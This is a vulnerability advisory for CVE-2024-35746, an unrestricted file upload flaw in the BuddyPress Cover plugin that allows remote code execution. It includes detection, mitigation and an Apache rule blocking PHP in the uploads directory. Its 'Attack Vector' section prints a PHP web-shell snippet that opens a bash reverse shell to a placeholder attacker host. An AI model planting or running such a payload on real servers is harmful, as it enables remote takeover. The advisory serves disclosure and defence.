CVE-2024-35746: BuddyPress Cover RCE Vulnerability

CVE-2024-35746 is a remote code execution vulnerability in BuddyPress Cover plugin caused by unrestricted file uploads. Attackers can inject malicious code through dangerous file types. This article covers technical details, affected versions through 2.1.4.2, impact assessment, and mitigation strategies.

CVE-2024-35746 Overview

Unrestricted Upload of File with Dangerous Type vulnerability in Asghar Hatampoor BuddyPress Cover allows Code Injection. This issue affects BuddyPress Cover: from n/a through 2.1.4.2.

Critical Impact
This vulnerability allows unauthenticated remote attackers to execute arbitrary code.

Affected Products

BuddyPress Cover

Discovery Timeline

Not Available - Vulnerability discovered
Not Available - Responsible disclosure to Buddypress Cover Project
Not Available - CVE CVE-2024-35746 assigned
Not Available - Buddypress Cover Project releases security patch
2024-06-10 - CVE CVE-2024-35746 published to NVD
2024-11-21 - Last updated in NVD database

Technical Details for CVE-2024-35746

Vulnerability Analysis

The vulnerability stems from improper validation of file uploads. Attackers can upload malicious files due to insufficient validation mechanisms.

Root Cause

The core issue lies in the failure to restrict specific file types that can be uploaded, allowing potentially malicious scripts to be executed.

Attack Vector

The attacker exploitable over the network without requiring any permissions or user interaction.

php

// Example exploitation code (sanitized)
<?php
// Malicious PHP code
exec('/bin/bash -c ''bash -i >& /dev/tcp/attacker_ip/443 0>&1''');
?>

Detection Methods for CVE-2024-35746

Indicators of Compromise

Unexpected file uploads
Presence of unfamiliar PHP scripts
Unusual network connections initiated from the server

Detection Strategies

Employ file integrity monitoring to detect unauthorized file changes and monitor for unusual file types in upload directories.

Monitoring Recommendations

Implement real-time scanning and anomaly detection to identify irregular activities tied to file uploads.

How to Mitigate CVE-2024-35746

Immediate Actions Required

Restrict file upload paths
Implement file type validation
Maintain access logs for uploads and network traffic

Patch Information

Visit the vendor advisories for relevant patch information and apply the updates as soon as they become available.

Workarounds

Employ web application firewalls (WAF) to filter and monitor HTTP traffic destined for the vulnerable site.

bash

# Configuration example
<Directory /var/www/html/uploads>
    <FilesMatch "\.(php|php\d|phtml)$">
        Order Allow,Deny
        Deny from all
    </FilesMatch>
</Directory>